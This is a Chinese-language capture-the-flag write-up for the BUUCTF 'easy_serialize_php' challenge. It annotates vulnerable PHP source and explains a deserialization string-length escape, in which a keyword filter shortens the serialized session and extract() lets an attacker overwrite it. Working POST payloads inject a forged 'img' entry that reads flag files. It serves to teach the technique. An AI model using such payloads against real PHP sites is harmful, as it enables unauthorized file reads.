BUUCTF-WEB 【安洵杯 2019】easy_serialize_php 1

考点:php反序列化字符长度逃逸

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php

$function = @$_GET['f'];
# 将变量$img 的内容中带有php flag php5 php4 fl1g 的字符串 替换成 '' 空字符
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
# 销毁$_SESSION 数组变量
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

# 变量覆盖 意味着可以重置$_SESSION数组变量
extract($_POST);

# 如果$function 为空 则显示下面的代码 就是刚刚打开的时候显示的内容 意味着$function 没传入内容
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
# $_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
# GET方式接收一个文件名 会进行base64编码 在此基础上还会进行sha1 加密 想从此处读取flag是不太可能
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

# 序列化SESSION 并对序列化内容进行过滤
# 一般到这就会意识到问题存在 php序列化长度变化导致字符串逃逸
$serialize_info = filter(serialize($_SESSION));

# 给了三个分支
# highlight_file 显示源代码
# phpinfo 可以查看php信息
# show_imgage 对$serialize_info 进行序列化
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
查看php信息

image-20210412095740703

发现了特殊文件名d0g3_f1ag.php

1
2
3
4
5
6
7
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA=='; // d0g3_f1ag.php base64编码

var_dump(serialize($_SESSION));
// 得到
string(90) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

可控参数为userfunction ,序列化后会将 flag 过滤为 空字符串,

1
2
3
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA=='; // d0g3_f1ag.php base64编码

​ 序列化后

1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这里会将flag字符串过滤,过滤后结果

1
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

由于s:24 会往后边读取24位字符";s:8:"function";s:59:"a做为user的属性值, #号包含起来的部分,读取到a的时候结束,后面的;进行了闭合,相当于吞掉了一个属性和值,接着会继续读取我们构造的img,由于总共三个属性,我在后边加上了一个属性和值,后边的序列化结果直接就被丢弃。

提交

1
2
3
4
GET:
show_image
POST:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

得到

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

/d0g3_fllllllag base64编码 L2QwZzNfZmxsbGxsbGFn

提交

1
2
3
4
GET:
show_image
POST:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

得到flag

image-20210412113304668

又是一道反序列字符绕过闭合

与上一题不一样的是,上一题是增加字符,这道题是删除字符。

where-> hacker

flag -> ‘’

同样的原理是,将字符数组序列化后,得到一个固定格式的序列化字符串,但是这个序列化字符串被放入某个函数中进行过滤,过滤后,即原本的固定格式没有变,但是里面某些字符被函数中的规则过滤,有可能是增加,有可能会减少,不管怎么样,只要能控制即将被序列化的变量,那么就有可能自己来构建序列化字符串。

payload

1
2
3
4
5
6

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
GET:
show_image
POST:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}